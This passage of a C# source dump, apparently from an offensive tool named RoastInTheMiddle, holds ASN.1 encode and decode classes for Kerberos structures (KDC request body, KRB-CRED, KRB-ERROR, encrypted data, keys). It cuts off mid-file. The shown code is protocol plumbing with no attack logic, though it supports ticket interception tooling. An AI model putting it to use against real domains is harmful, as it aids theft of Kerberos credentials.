STRING 55 | AsnElt checksumAsn = AsnElt.MakeBlob(checksum); 56 | AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn }); 57 | checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq); 58 | 59 | 60 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq }); 61 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq }); 62 | return totalSeq2; 63 | } 64 | 65 | public Int32 cksumtype { get; set; } 66 | 67 | public byte[] checksum { get; set; } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/EncKrbCredPart.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using Asn1; 3 | 4 | namespace RoastInTheMiddle.Lib.Krb 5 | { 6 | //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { 7 | // ticket-info [0] SEQUENCE OF KrbCredInfo, 8 | // nonce [1] UInt32 OPTIONAL, 9 | // timestamp [2] KerberosTime OPTIONAL, 10 | // usec [3] Microseconds OPTIONAL, 11 | // s-address [4] HostAddress OPTIONAL, 12 | // r-address [5] HostAddress OPTIONAL 13 | //} 14 | 15 | public class EncKrbCredPart 16 | { 17 | public EncKrbCredPart() 18 | { 19 | // TODO: defaults for creation 20 | ticket_info = new List(); 21 | } 22 | 23 | public EncKrbCredPart(AsnElt body) 24 | { 25 | ticket_info = new List(); 26 | 27 | byte[] octetString = body.Sub[1].Sub[0].GetOctetString(); 28 | AsnElt body2 = AsnElt.Decode(octetString, false); 29 | 30 | // assume only one KrbCredInfo for now 31 | KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]); 32 | ticket_info.Add(info); 33 | } 34 | 35 | public AsnElt Encode() 36 | { 37 | // ticket-info [0] SEQUENCE OF KrbCredInfo 38 | // assume just one ticket-info for now 39 | // TODO: handle multiple ticket-infos 40 | AsnElt infoAsn = ticket_info[0].Encode(); 41 | AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn }); 42 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 }); 43 | seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2); 44 | 45 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 }); 46 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); 47 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2); 48 | 49 | return totalSeq2; 50 | } 51 | 52 | public List ticket_info { get; set; } 53 | 54 | // other fields are optional/not used in our use cases 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/EncryptedData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | 4 | namespace RoastInTheMiddle.Lib.Krb 5 | { 6 | public class EncryptedData 7 | { 8 | public EncryptedData() 9 | { 10 | 11 | } 12 | 13 | public EncryptedData(Int32 encType, byte[] data) 14 | { 15 | etype = encType; 16 | cipher = data; 17 | } 18 | 19 | public EncryptedData(Int32 encType, byte[] data, UInt32 kvnum) 20 | { 21 | etype = encType; 22 | kvno = kvnum; 23 | cipher = data; 24 | } 25 | 26 | public EncryptedData(AsnElt body) 27 | { 28 | foreach (AsnElt s in body.Sub) 29 | { 30 | switch (s.TagValue) 31 | { 32 | case 0: 33 | etype = Convert.ToInt32(s.Sub[0].GetInteger()); 34 | break; 35 | case 1: 36 | kvno = Convert.ToUInt32(s.Sub[0].GetInteger()); 37 | break; 38 | case 2: 39 | cipher = s.Sub[0].GetOctetString(); 40 | break; 41 | default: 42 | break; 43 | } 44 | } 45 | } 46 | 47 | public AsnElt Encode() 48 | { 49 | // etype [0] Int32 -- EncryptionType --, 50 | AsnElt etypeAsn = AsnElt.MakeInteger(etype); 51 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); 52 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); 53 | 54 | 55 | // cipher [2] OCTET STRING -- ciphertext 56 | AsnElt cipherAsn = AsnElt.MakeBlob(cipher); 57 | AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn }); 58 | cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq); 59 | 60 | 61 | if (kvno != 0) 62 | { 63 | // kvno [1] UInt32 OPTIONAL 64 | AsnElt kvnoAsn = AsnElt.MakeInteger(kvno); 65 | AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn }); 66 | kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq); 67 | 68 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq }); 69 | return totalSeq; 70 | } 71 | else 72 | { 73 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq }); 74 | return totalSeq; 75 | } 76 | } 77 | 78 | public Int32 etype { get; set; } 79 | 80 | public UInt32 kvno { get; set; } 81 | 82 | public byte[] cipher { get; set; } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/EncryptionKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | 4 | namespace RoastInTheMiddle.Lib.Krb 5 | { 6 | public class EncryptionKey 7 | { 8 | //EncryptionKey::= SEQUENCE { 9 | // keytype[0] Int32 -- actually encryption type --, 10 | // keyvalue[1] OCTET STRING 11 | //} 12 | 13 | public EncryptionKey() 14 | { 15 | keytype = 0; 16 | 17 | keyvalue = null; 18 | } 19 | 20 | public EncryptionKey(AsnElt body) 21 | { 22 | foreach (AsnElt s in body.Sub[0].Sub) 23 | { 24 | switch (s.TagValue) 25 | { 26 | case 0: 27 | keytype = Convert.ToInt32(s.Sub[0].GetInteger()); 28 | break; 29 | case 1: 30 | keyvalue = s.Sub[0].GetOctetString(); 31 | break; 32 | case 2: 33 | keyvalue = s.Sub[0].GetOctetString(); 34 | break; 35 | default: 36 | break; 37 | } 38 | } 39 | } 40 | 41 | public AsnElt Encode() 42 | { 43 | // keytype[0] Int32 -- actually encryption type -- 44 | AsnElt keyTypeElt = AsnElt.MakeInteger(keytype); 45 | AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt }); 46 | keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq); 47 | 48 | 49 | // keyvalue[1] OCTET STRING 50 | AsnElt blob = AsnElt.MakeBlob(keyvalue); 51 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob }); 52 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq); 53 | 54 | 55 | // build the final sequences (s) 56 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq }); 57 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 58 | 59 | return seq2; 60 | } 61 | 62 | public Int32 keytype { get; set; } 63 | 64 | public byte[] keyvalue { get; set; } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/HostAddress.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using Asn1; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class HostAddress 8 | { 9 | public HostAddress() 10 | { 11 | addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; 12 | 13 | addr_string = string.Empty; 14 | } 15 | 16 | public HostAddress(string hostName) 17 | { 18 | // create with hostname 19 | addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; 20 | 21 | // setup padding 22 | Int32 numSpaces = 8 - (hostName.Length % 8); 23 | hostName = hostName.PadRight(hostName.Length + numSpaces); 24 | 25 | addr_string = hostName.ToUpper(); 26 | } 27 | 28 | public HostAddress(Interop.HostAddressType atype, string address) 29 | { 30 | // create with different type 31 | addr_type = atype; 32 | 33 | // setup padding 34 | Int32 numSpaces = 8 - (address.Length % 8); 35 | address = address.PadRight(address.Length + numSpaces); 36 | 37 | addr_string = address.ToUpper(); 38 | } 39 | 40 | public HostAddress(AsnElt body) 41 | { 42 | foreach (AsnElt s in body.Sub) 43 | { 44 | switch (s.TagValue) 45 | { 46 | case 0: 47 | addr_type = (Interop.HostAddressType)s.Sub[0].GetInteger(); 48 | break; 49 | case 1: 50 | addr_string = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 51 | break; 52 | default: 53 | break; 54 | } 55 | } 56 | } 57 | 58 | public AsnElt Encode() 59 | { 60 | // addr-type[0] Int32 61 | // addr-string[1] OCTET STRING 62 | AsnElt addrTypeElt = AsnElt.MakeInteger((long)addr_type); 63 | AsnElt addrTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrTypeElt }); 64 | addrTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, addrTypeSeq); 65 | 66 | //AsnElt addrStringElt = AsnElt.MakeString(AsnElt.TeletexString, addr_string); 67 | AsnElt addrStringElt = AsnElt.MakeString(AsnElt.IA5String, addr_string); 68 | addrStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, addrStringElt); 69 | AsnElt addrStringSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrStringElt }); 70 | addrStringSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, addrStringSeq); 71 | 72 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { addrTypeSeq, addrStringSeq }); 73 | 74 | return seq; 75 | } 76 | 77 | public Interop.HostAddressType addr_type { get; set; } 78 | 79 | public string addr_string { get; set; } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/KDCReqBody.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using Asn1; 5 | 6 | namespace RoastInTheMiddle.Lib.Krb 7 | { 8 | public class KDCReqBody 9 | { 10 | public KDCReqBody(bool c = true) 11 | { 12 | kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; 13 | 14 | if (c) 15 | { 16 | cname = new PrincipalName(); 17 | } 18 | 19 | sname = new PrincipalName(); 20 | 21 | till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); 22 | 23 | rtime = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); 24 | 25 | var rand = new Random(); 26 | nonce = (UInt32)rand.Next(1, Int32.MaxValue); 27 | 28 | etypes = new List(); 29 | } 30 | 31 | public KDCReqBody(AsnElt body) 32 | { 33 | foreach (AsnElt s in body.Sub) 34 | { 35 | switch (s.TagValue) 36 | { 37 | case 0: 38 | UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); 39 | byte[] tempBytes = BitConverter.GetBytes(temp); 40 | kdcOptions = (Interop.KdcOptions)BitConverter.ToInt32(tempBytes, 0); 41 | break; 42 | case 1: 43 | // optional 44 | cname = new PrincipalName(s.Sub[0]); 45 | break; 46 | case 2: 47 | realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 48 | break; 49 | case 3: 50 | // optional 51 | sname = new PrincipalName(s.Sub[0]); 52 | break; 53 | case 4: 54 | // optional 55 | from = s.Sub[0].GetTime(); 56 | break; 57 | case 5: 58 | till = s.Sub[0].GetTime(); 59 | break; 60 | case 6: 61 | // optional 62 | rtime = s.Sub[0].GetTime(); 63 | break; 64 | case 7: 65 | nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); 66 | break; 67 | case 8: 68 | etypes = new List(); 69 | for (int i = 0; i < s.Sub[0].Sub.Length; i++) 70 | { 71 | try 72 | { 73 | etypes.Add((Interop.KERB_ETYPE)Convert.ToInt32(s.Sub[0].Sub[i].GetInteger())); 74 | } 75 | catch 76 | { 77 | Console.WriteLine($"TEST ETYPE ERROR: {s.Sub[0].Sub[i].GetInteger()}"); 78 | } 79 | } 80 | break; 81 | case 9: 82 | // addresses (optional) 83 | //addresses = new List(); 84 | //addresses.Add(new HostAddress(s.Sub[0])); 85 | break; 86 | default: 87 | break; 88 | } 89 | } 90 | } 91 | 92 | public AsnElt Encode() 93 | { 94 | List allNodes = new List(); 95 | 96 | // kdc-options [0] KDCOptions 97 | byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions); 98 | if (BitConverter.IsLittleEndian) 99 | { 100 | Array.Reverse(kdcOptionsBytes); 101 | } 102 | AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes); 103 | AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn }); 104 | kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq); 105 | allNodes.Add(kdcOptionsSeq); 106 | 107 | 108 | // cname [1] PrincipalName 109 | if (cname != null) 110 | { 111 | AsnElt cnameElt = cname.Encode(); 112 | cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); 113 | allNodes.Add(cnameElt); 114 | } 115 | 116 | 117 | // realm [2] Realm 118 | // --Server's realm 119 | // -- Also client's in AS-REQ -- 120 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); 121 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 122 | AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); 123 | realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); 124 | allNodes.Add(realmSeq); 125 | 126 | 127 | // sname [3] PrincipalName OPTIONAL 128 | AsnElt snameElt = sname.Encode(); 129 | snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt); 130 | allNodes.Add(snameElt); 131 | 132 | 133 | // from [4] KerberosTime OPTIONAL 134 | if (from.Year > 0001) 135 | { 136 | AsnElt fromAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, from.ToString("yyyyMMddHHmmssZ")); 137 | AsnElt fromSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { fromAsn }); 138 | fromSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, fromSeq); 139 | allNodes.Add(fromSeq); 140 | } 141 | 142 | // till [5] KerberosTime 143 | AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ")); 144 | AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); 145 | tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); 146 | allNodes.Add(tillSeq); 147 | 148 | 149 | // rtime [6] KerberosTime 150 | if (rtime.Year > 0001) 151 | { 152 | AsnElt rtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, rtime.ToString("yyyyMMddHHmmssZ")); 153 | AsnElt rtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { rtimeAsn }); 154 | rtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, rtimeSeq); 155 | allNodes.Add(rtimeSeq); 156 | } 157 | 158 | // nonce [7] UInt32 159 | AsnElt nonceAsn = AsnElt.MakeInteger(nonce); 160 | AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); 161 | nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq); 162 | allNodes.Add(nonceSeq); 163 | 164 | 165 | // etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order -- 166 | List etypeList = new List(); 167 | foreach (Interop.KERB_ETYPE etype in etypes) 168 | { 169 | AsnElt etypeAsn = AsnElt.MakeInteger((Int32)etype); 170 | //AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn }); 171 | etypeList.Add(etypeAsn); 172 | } 173 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); 174 | AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); 175 | AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1); 176 | etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2); 177 | allNodes.Add(etypeSeqTotal2); 178 | 179 | 180 | // addresses [9] HostAddresses OPTIONAL 181 | if (addresses != null) 182 | { 183 | List addrList = new List(); 184 | foreach (HostAddress addr in addresses) 185 | { 186 | AsnElt addrElt = addr.Encode(); 187 | addrList.Add(addrElt); 188 | } 189 | AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray()); 190 | AsnElt addrSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1); 191 | addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2); 192 | allNodes.Add(addrSeqTotal2); 193 | } 194 | 195 | // additional-tickets [11] SEQUENCE OF Ticket OPTIONAL 196 | if (additional_tickets != null && additional_tickets.Count > 0) 197 | { 198 | AsnElt ticketAsn = additional_tickets[0].Encode(); 199 | AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); 200 | AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); 201 | ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2); 202 | allNodes.Add(ticketSeq2); 203 | } 204 | 205 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 206 | 207 | return seq; 208 | } 209 | 210 | 211 | public Interop.KdcOptions kdcOptions { get; set; } 212 | 213 | public PrincipalName cname { get; set; } 214 | 215 | public string realm { get; set; } 216 | 217 | public PrincipalName sname { get; set; } 218 | 219 | public DateTime from { get; set; } 220 | 221 | public DateTime till { get; set; } 222 | 223 | public DateTime rtime { get; set; } 224 | 225 | public UInt32 nonce { get; set; } 226 | 227 | public List etypes { get; set; } 228 | 229 | public List addresses { get; set; } 230 | 231 | public List additional_tickets { get; set; } 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/KRB_CRED.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using Asn1; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class KRB_CRED 8 | { 9 | //KRB-CRED::= [APPLICATION 22] SEQUENCE { 10 | // pvno[0] INTEGER(5), 11 | // msg-type[1] INTEGER(22), 12 | // tickets[2] SEQUENCE OF Ticket, 13 | // enc-part[3] EncryptedData -- EncKrbCredPart 14 | //} 15 | 16 | public KRB_CRED() 17 | { 18 | // defaults for creation 19 | pvno = 5; 20 | msg_type = 22; 21 | 22 | tickets = new List(); 23 | 24 | enc_part = new EncKrbCredPart(); 25 | } 26 | 27 | public KRB_CRED(byte[] bytes) 28 | { 29 | RawBytes = bytes; 30 | AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false); 31 | this.Decode(asn_KRB_CRED.Sub[0]); 32 | } 33 | 34 | public KRB_CRED(AsnElt body) 35 | { 36 | this.Decode(body); 37 | } 38 | 39 | public void Decode(AsnElt body) 40 | { 41 | tickets = new List(); 42 | 43 | foreach (AsnElt s in body.Sub) 44 | { 45 | switch (s.TagValue) 46 | { 47 | case 0: 48 | pvno = Convert.ToInt32(s.Sub[0].GetInteger()); 49 | break; 50 | case 1: 51 | msg_type = Convert.ToInt32(s.Sub[0].GetInteger()); 52 | break; 53 | case 2: 54 | foreach (AsnElt ae in s.Sub[0].Sub[0].Sub) 55 | { 56 | Ticket ticket = new Ticket(ae); 57 | tickets.Add(ticket); 58 | } 59 | break; 60 | case 3: 61 | enc_part = new EncKrbCredPart(s.Sub[0]); 62 | break; 63 | default: 64 | break; 65 | } 66 | } 67 | } 68 | 69 | public AsnElt Encode() 70 | { 71 | // pvno [0] INTEGER (5) 72 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 73 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); 74 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); 75 | 76 | 77 | // msg-type [1] INTEGER (22) 78 | AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); 79 | AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); 80 | msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); 81 | 82 | 83 | // tickets [2] SEQUENCE OF Ticket 84 | // TODO: encode/handle multiple tickets! 85 | AsnElt ticketAsn = tickets[0].Encode(); 86 | AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); 87 | AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); 88 | ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2); 89 | 90 | 91 | // enc-part [3] EncryptedData -- EncKrbCredPart 92 | AsnElt enc_partAsn = enc_part.Encode(); 93 | AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode()); 94 | 95 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 96 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 97 | 98 | // etype == 0 -> no encryption 99 | AsnElt etypeAsn = AsnElt.MakeInteger(0); 100 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); 101 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); 102 | 103 | AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); 104 | AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq }); 105 | infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2); 106 | 107 | 108 | // all the components 109 | AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 }); 110 | 111 | // tag the final total ([APPLICATION 22]) 112 | AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); 113 | final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final); 114 | 115 | return final; 116 | } 117 | 118 | public long pvno { get; set; } 119 | 120 | public long msg_type { get; set; } 121 | 122 | public List tickets { get; set; } 123 | 124 | public EncKrbCredPart enc_part { get; set; } 125 | 126 | public byte[] RawBytes { get; set; } 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/KRB_ERROR.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using Asn1; 5 | using RoastInTheMiddle.Lib; 6 | 7 | namespace RoastInTheMiddle.Lib.Krb 8 | { 9 | public class KRB_ERROR 10 | { 11 | /* KRB-ERROR ::= [APPLICATION 30] SEQUENCE { 12 | pvno [0] INTEGER (5), 13 | msg-type [1] INTEGER (30), 14 | ctime [2] KerberosTime OPTIONAL, 15 | cusec [3] Microseconds OPTIONAL, 16 | stime [4] KerberosTime, 17 | susec [5] Microseconds, 18 | error-code [6] Int32, 19 | crealm [7] Realm OPTIONAL, 20 | cname [8] PrincipalName OPTIONAL, 21 | realm [9] Realm -- service realm --, 22 | sname [10] PrincipalName -- service name --, 23 | e-text [11] KerberosString OPTIONAL, 24 | e-data [12] OCTET STRING OPTIONAL 25 | }*/ 26 | 27 | public KRB_ERROR(byte[] errorBytes) 28 | { 29 | 30 | } 31 | 32 | public KRB_ERROR(PrincipalName serverName, string domain, Interop.KERBEROS_ERROR err) 33 | { 34 | var rand = new Random(); 35 | pvno = 5; 36 | msg_type = (long)Interop.KERB_MESSAGE_TYPE.ERROR; 37 | stime = DateTime.UtcNow; 38 | susec = rand.Next(0, 999999); 39 | error_code = (long)err; 40 | realm = domain; 41 | sname = serverName; 42 | } 43 | 44 | public KRB_ERROR(AsnElt body) 45 | { 46 | foreach (AsnElt s in body.Sub[0].Sub) 47 | { 48 | switch (s.TagValue) 49 | { 50 | case 0: 51 | pvno = Convert.ToUInt32(s.Sub[0].GetInteger()); 52 | break; 53 | case 1: 54 | msg_type = Convert.ToUInt32(s.Sub[0].GetInteger()); 55 | break; 56 | case 2: 57 | ctime = s.Sub[0].GetTime(); 58 | break; 59 | case 3: 60 | cusec = Convert.ToUInt32(s.Sub[0].GetInteger()); 61 | break; 62 | case 4: 63 | stime = s.Sub[0].GetTime(); 64 | break; 65 | case 5: 66 | susec = Convert.ToUInt32(s.Sub[0].GetInteger()); 67 | break; 68 | case 6: 69 | error_code = Convert.ToUInt32(s.Sub[0].GetInteger()); 70 | break; 71 | case 7: 72 | crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 73 | break; 74 | case 8: 75 | cname = new PrincipalName(s.Sub[0]); 76 | break; 77 | case 9: 78 | realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 79 | break; 80 | case 10: 81 | sname = new PrincipalName(s.Sub[0]); 82 | break; 83 | case 11: 84 | e_text = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 85 | break; 86 | case 12: 87 | try 88 | { 89 | e_data = new List(); 90 | AsnElt tmpData = AsnElt.Decode(s.Sub[0].GetOctetString()); 91 | foreach (AsnElt tmp in tmpData.Sub) 92 | { 93 | e_data.Add(new PA_DATA(tmp)); 94 | } 95 | } 96 | catch (NullReferenceException) 97 | { 98 | e_data = null; 99 | } 100 | break; 101 | default: 102 | break; 103 | } 104 | } 105 | } 106 | 107 | public AsnElt Encode() 108 | { 109 | List allNodes = new List(); 110 | 111 | // pvno [0] INTEGER (5) 112 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 113 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); 114 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); 115 | allNodes.Add(pvnoSeq); 116 | 117 | 118 | // msg-type [1] INTEGER (30) 119 | AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); 120 | AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); 121 | msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_type_ASNSeq); 122 | allNodes.Add(msg_type_ASNSeq); 123 | 124 | // stime[4] KerberosTime 125 | AsnElt stimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ")); 126 | AsnElt stimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { stimeAsn }); 127 | stimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, stimeSeq); 128 | allNodes.Add(stimeSeq); 129 | 130 | // susec[5] Microseconds 131 | AsnElt susecAsn = AsnElt.MakeInteger(susec); 132 | AsnElt susecSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { susecAsn }); 133 | susecSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, susecSeq); 134 | allNodes.Add(susecSeq); 135 | 136 | // error - code[6] Int32 137 | AsnElt errAsn = AsnElt.MakeInteger(error_code); 138 | AsnElt errSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { errAsn }); 139 | errSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, errSeq); 140 | allNodes.Add(errSeq); 141 | 142 | // realm [9] Realm -- service realm -- 143 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); 144 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 145 | AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); 146 | realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, realmSeq); 147 | allNodes.Add(realmSeq); 148 | 149 | // sname[10] PrincipalName-- service name -- 150 | AsnElt snameElt = sname.Encode(); 151 | snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, snameElt); 152 | allNodes.Add(snameElt); 153 | 154 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 155 | 156 | // KRB-ERROR ::= [APPLICATION 30] SEQUENCE 157 | // put it all together and tag it with 30 158 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 159 | totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 30, totalSeq); 160 | 161 | return totalSeq; 162 | } 163 | 164 | public long pvno { get; set; } 165 | 166 | public long msg_type { get; set; } 167 | 168 | public DateTime ctime { get; set; } 169 | 170 | public long cusec 